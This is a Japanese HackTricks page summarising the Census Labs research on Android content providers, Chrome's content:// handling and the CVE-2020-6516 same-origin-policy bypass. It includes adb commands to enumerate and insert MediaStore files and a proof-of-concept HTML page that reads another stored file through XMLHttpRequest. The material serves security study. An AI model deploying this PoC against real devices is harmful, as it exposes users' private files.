mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
79 lines
4.4 KiB
Markdown
79 lines
4.4 KiB
Markdown
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
**これは投稿の要約です [https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/](https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/)**
|
||
|
||
### メディアストア内のファイルのリスト
|
||
|
||
メディアストアによって管理されているファイルをリストするには、以下のコマンドを使用できます:
|
||
```bash
|
||
$ content query --uri content://media/external/file
|
||
```
|
||
より人間に優しい出力のために、各インデックスファイルの識別子とパスのみを表示します:
|
||
```bash
|
||
$ content query --uri content://media/external/file --projection _id,_data
|
||
```
|
||
コンテンツプロバイダーは、それぞれのプライベートネームスペースに隔離されています。プロバイダーへのアクセスには特定の `content://` URI が必要です。プロバイダーにアクセスするためのパスに関する情報は、アプリケーションマニフェストやAndroidフレームワークのソースコードから取得できます。
|
||
|
||
### Chromeのコンテンツプロバイダーへのアクセス
|
||
|
||
AndroidのChromeは `content://` スキームを通じてコンテンツプロバイダーにアクセスでき、サードパーティアプリケーションによってエクスポートされた写真やドキュメントなどのリソースにアクセスできます。これを示すために、ファイルをメディアストアに挿入し、その後Chromeを介してアクセスできます:
|
||
|
||
メディアストアにカスタムエントリを挿入する:
|
||
```bash
|
||
cd /sdcard
|
||
echo "Hello, world!" > test.txt
|
||
content insert --uri content://media/external/file \
|
||
--bind _data:s:/storage/emulated/0/test.txt \
|
||
--bind mime_type:s:text/plain
|
||
```
|
||
新しく挿入されたファイルの識別子を発見する:
|
||
```bash
|
||
content query --uri content://media/external/file \
|
||
--projection _id,_data | grep test.txt
|
||
# Output: Row: 283 _id=747, _data=/storage/emulated/0/test.txt
|
||
```
|
||
ファイルは、ファイルの識別子を使用して構築されたURLでChromeで表示できます。
|
||
|
||
例えば、特定のアプリケーションに関連するファイルをリストするには:
|
||
```bash
|
||
content query --uri content://media/external/file --projection _id,_data | grep -i <app_name>
|
||
```
|
||
### Chrome CVE-2020-6516: Same-Origin-Policy Bypass
|
||
|
||
_同一オリジンポリシー_ (SOP) は、ブラウザにおけるセキュリティプロトコルであり、明示的にクロスオリジンリソースシェアリング (CORS) ポリシーによって許可されない限り、ウェブページが異なるオリジンのリソースと相互作用することを制限します。このポリシーは、情報漏洩やクロスサイトリクエストフォージェリを防ぐことを目的としています。Chromeは`content://`をローカルスキームと見なし、各ローカルスキームURLが別々のオリジンとして扱われるため、より厳格なSOPルールが適用されます。
|
||
|
||
しかし、CVE-2020-6516は、`content://` URLを介して読み込まれたリソースのSOPルールをバイパスすることを可能にするChromeの脆弱性でした。実際、`content://` URLからのJavaScriptコードは、他の`content://` URLを介して読み込まれたリソースにアクセスでき、特にAndroid 10以前のバージョンでスコープストレージが実装されていないデバイスにおいては、重大なセキュリティ上の懸念がありました。
|
||
|
||
以下の概念実証は、この脆弱性を示しており、HTMLドキュメントが**/sdcard**の下にアップロードされ、メディアストアに追加された後、JavaScript内の`XMLHttpRequest`を使用してメディアストア内の別のファイルの内容にアクセスし表示し、SOPルールをバイパスします。
|
||
|
||
Proof-of-Concept HTML:
|
||
```xml
|
||
<html>
|
||
<head>
|
||
<title>PoC</title>
|
||
<script type="text/javascript">
|
||
function poc()
|
||
{
|
||
var xhr = new XMLHttpRequest();
|
||
|
||
xhr.onreadystatechange = function()
|
||
{
|
||
if(this.readyState == 4)
|
||
{
|
||
if(this.status == 200 || this.status == 0)
|
||
{
|
||
alert(xhr.response);
|
||
}
|
||
}
|
||
}
|
||
|
||
xhr.open("GET", "content://media/external/file/747");
|
||
xhr.send();
|
||
}
|
||
</script>
|
||
</head>
|
||
<body onload="poc()"></body>
|
||
</html>
|
||
```
|
||
{{#include ../../banners/hacktricks-training.md}}
|